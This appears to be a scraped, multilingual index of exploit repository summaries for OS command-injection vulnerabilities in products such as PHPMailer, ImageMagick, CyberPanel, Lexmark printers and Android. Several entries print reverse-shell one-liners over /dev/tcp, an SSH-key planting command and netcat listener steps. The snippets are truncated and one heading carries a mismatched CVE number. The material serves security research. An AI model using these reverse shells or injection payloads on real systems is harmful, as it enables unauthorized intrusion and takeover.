dnsobserver

DNSObserver Go로 작성된 편리한 DNS 서비스로, 여러 유형의 블라인드 취약점 탐지를 돕습니다. 침투 테스터의 서버에서 대역 외 DNS 상호작용을 모니터링하고, 수신된 요청 세부 정보를 Slack을 통해 알림으로 전송합니다. DNSObserver는 블라인드 OS 명령어 삽입, 블라인드 SQLi, 블라인드 XXE 등 다양한 버그를 찾는 데 도움을 줄 수 있습니다. 자세한 개요와 설정 지침은 다음을 참조하세요: https://www.allysonomalley.com/2020/05/22/dnsobserver/ 설정 필요한...

CVE-2025-52688

CVE-2025-52688 영향을 받는 제품 Alcatel AP13161 - 엔터프라이즈 WIFI 액세스 포인트 요약 여기에 다루는 두 가지 주요 취약점이 있습니다: 여러 JSON 웹 파라미터에 대한 입력 검증 부족으로 ;와 같은 악성 문자를 주입하여 명령어 인젝션 공격을 유발할 수 있음 fileName 파라미터에 대한 적절한 검증 및 접근 제어 부족으로 서버에서 허가되지 않은 임의 파일 읽기를 가능하게 함 이 취약점은 CSA싱가포르 사이버보안청와 NTU가 주최한 SPIRICYBER-24 IoT/OT 해커톤에서 발견되었습니다...

OFBiz-Attack

OFBiz-Attack CVE-2023-49070/CVE-2023-51467 공격을 위한 도구 테스트 환경 vulhub/ofbiz:18.12.09 사용 시작 java -jar OFBiz-Attack.jar 총 세 가지 모듈이 있습니다: 취약점 탐지 대상 URL만 입력하면 됩니다. 불필요한 라우트를 추가하지 마십시오. 그렇지 않으면 후속 모듈 이용에 영향을 미칩니다. HTTPS 요청 전송만 지원하며, 실행 속도는 웹 서버 성능에 따라 다릅니다. 검증 완료 후 URL을 수정하지 마십시오. 후속 이용 시 이 상자에서 URL을...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2023-30854

WWBN Avideo 인증된 RCE - OS 명령 주입 CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; 관리자 패널의 사이트 복제 기능을 통해 $objClone-cloneSiteURL을 제어할 수 있습니다...

CVE-2019-19919

CVE-2019-19919 Handlebars 부적절한 특수 요소 중화 – 다운스트림 구성 요소가 사용하는 출력에서의 인젝션 취약점 pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py 대상 URL 입력: Exploit 예상 출력 : 대상 URL 입력 예를 들어, http://example.com/render: http://example.com/render 실행할 OS 명령어 입력: ls ...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 명령 삽입command injection. pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. 참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다. PoC HTTP 서버 시작 python3 -m http.server 80 netcat 리스너 시작 nc -nlvp 4444 CURL로 요청...

CVE-2022-25064

CVE-2022-25064 이 스크립트는 TPLink WR840N 라우터의 OS Command Injection 취약점을 악용하며, IPv6 프로토콜의 구성 함수를 사용합니다...

exploit-CVE-2016-10033

PHPMailer 5.2.18 원격 코드 실행 PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 세계에서 가장 인기 있는 전송 클래스입니다. 매일 상당한 속도로 다운로드가 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈소스 프로젝트에서 사용됩니다. PHPMailer 5.2.18 이전 버전에는 원격 코드 실행RCE으로 이어질 수 있는 취약점이 존재합니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함수는 Sender...

CVE-2023-34152

CVE-2023-34152 ImageMagick 6.9.6-4에 영향을 미치는 RCE 취약점입니다. 이 취약점을 통해 공격자는 피해자 시스템에서 명령을 실행할 수 있습니다. 따라서 원격 명령 실행이 가능합니다. 이는 fullwaywang의 CVE-2023-34152 발견에서 영감을 받은 POC입니다. 취약점 공개 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 설명 OpenBlob의 임의 코드 실행 취약점셸 명령 주입으로, 실제로는 CVE-2016-5118에 대한 불완전한...

CVE-2024-47533

리버스 셸 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 간단한 명령 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' SSH 키 추가 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...

CVE-2019-17625

CVE-2019-17625 rambox 0.6.9에는 사용자가 서비스를 추가할 때 name 필드의 매개변수가 제대로 샌티타이즈되지 않아 발생하는 저장형 XSS 취약점이 있습니다. rambox는 NodeJS에서 실행되므로 OS 명령을 또는 태그에 주입할 수 있습니다. 참고: 이 코드는 MacOS에서만 테스트되었으며 다른 운영 체제에서는 재구성이 필요할 수 있습니다. 익스플로잇 코드 익스플로잇 코드는 discord를 기본으로 사용하여 서비스를 생성합니다. 셸을 실행하려면 시스템에 mkfifo가 있어야 합니다. 물론 페이로드는 원하...

CVE-2023-26067

CVE-2023-34362 POC: Lexmark 프린터에 영향을 미치는 명령 주입 취약점CVE-2023-26067을 악용한 자격 증명 덤프, 리버스 셸 및 음악 재생 도구 기술 분석 취약점에 대한 기술적 근본 원인 분석은 블로그에서 확인할 수 있습니다. https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022 요약 이 POC는 명령 주입을 악용하여 httpd 사용자로 셸을 획득합니다. AD 서비스 자격 증명...

CVE-2024-53376

CVE-2024-53376 CyberPanel 認証付きOSコマンドインジェクション Affected Devices CyberPanel バージョン 2.3.8 未満は、OSコマンドインジェクションの脆弱性があります。脆弱性を悪用するには、攻撃者はまずウェブパネルにログインする必要があります。 Tested With CyberPanel 2.3.7 Technical details 攻撃者はHTTP OPTIONSリクエストを使用して、CyberPanelアプリケーションを実行しているウェブサーバーに任意のコマンドを実行するよう指示できます。この脆弱性は...

UniPwn

Unitree ロボット BLE サービス コマンドインジェクション分析 著者: Bin4ry aka Andreas Makris [email protected] 共著者: h0stile aka Kevin Finisterre 寄稿者: legion1581 aka Konstantin Severov（theroboverse より）は、インジェクション用のペイロードの修正を手伝い、完全に動作するPoCでそれを証明してくれました 🙂 ありがとう、これは極めて重要な貢献でした。本当に感謝しています! 日付: 2025年9月20日 CVEs CVE-2025-35027...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 安全研究声明 本项目仅用于安全研究和教育目的。使用本工具进行未经授权的测试是非法的。作者不对任何滥用或损害负责。 📋 概述 CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞，允许具有 WRITESECURESETTINGS 权限的应用程序通过命令注入获得系统级权限执行。 本项目提供了该漏洞的详细技术分析、概念验证代码以及自动化部署工具。 ✨ 主要特性 📱 支持 Android 9-13 全版本 🛠️ 自动化部署脚本 🔄 反向 Shell 连接 📊 详细的技术文档 🎯 模块化设计 🐛...

CVE-2016-3714.ansible.role

Ansible Role: CVE-2016-3714 Ansible로 ImageMagick Command Injection CVE-2016-3714 보안 문제를 해결합니다. 요구 사항 ImageMagick이 설치되어 있고 v6.7.7.10 이전 버전을 사용하는 모든 머신. Role 변수 이 역할에 대해 설정 가능한 변수에 대한 설명은 여기에 있어야 하며, defaults/main.yml에 있는 모든 변수를 포함합니다. policypath: "/etc/ImageMagick/policy.xml" injectionsrc:...

CVE-2025-11953-PoC

説明 React Native Community CLIによって起動されるMetro Development Serverは、デフォルトで外部インターフェースにバインドします。サーバーはOSコマンドインジェクションに対して脆弱なエンドポイントを公開しています。これにより、認証されていないネットワーク攻撃者がサーバーにPOSTリクエストを送信し、任意の実行ファイルを実行できます。Windowsでは、攻撃者は完全に制御された引数で任意のシェルコマンドを実行することもできます。 影響を受けるバージョン プロダクト| 深刻度| 影響を受けるバージョン| パッチ適用バージョン...

CVE-2025-56803

CVE-2025-56803 피그마 데스크탑 애플리케이션의 플러그인 실행을 통한 OS 명령어 삽입 취약점 1. 개요 애플리케이션 : Figma Desktop Application 버전 : 125.6.5 공급업체 : Figma, Inc. CWE : CWE-78: OS 명령어에 사용되는 특수 요소의 부적절한 중화 'OS 명령어 삽입' CVSS : 8.4 벡터 문자열 : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 요약 Figma Desktop Applicationv125.6.5은 플러그인...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI に報告されたバグ CVE-2021-25296 コードの場所 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php コードスニペット if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...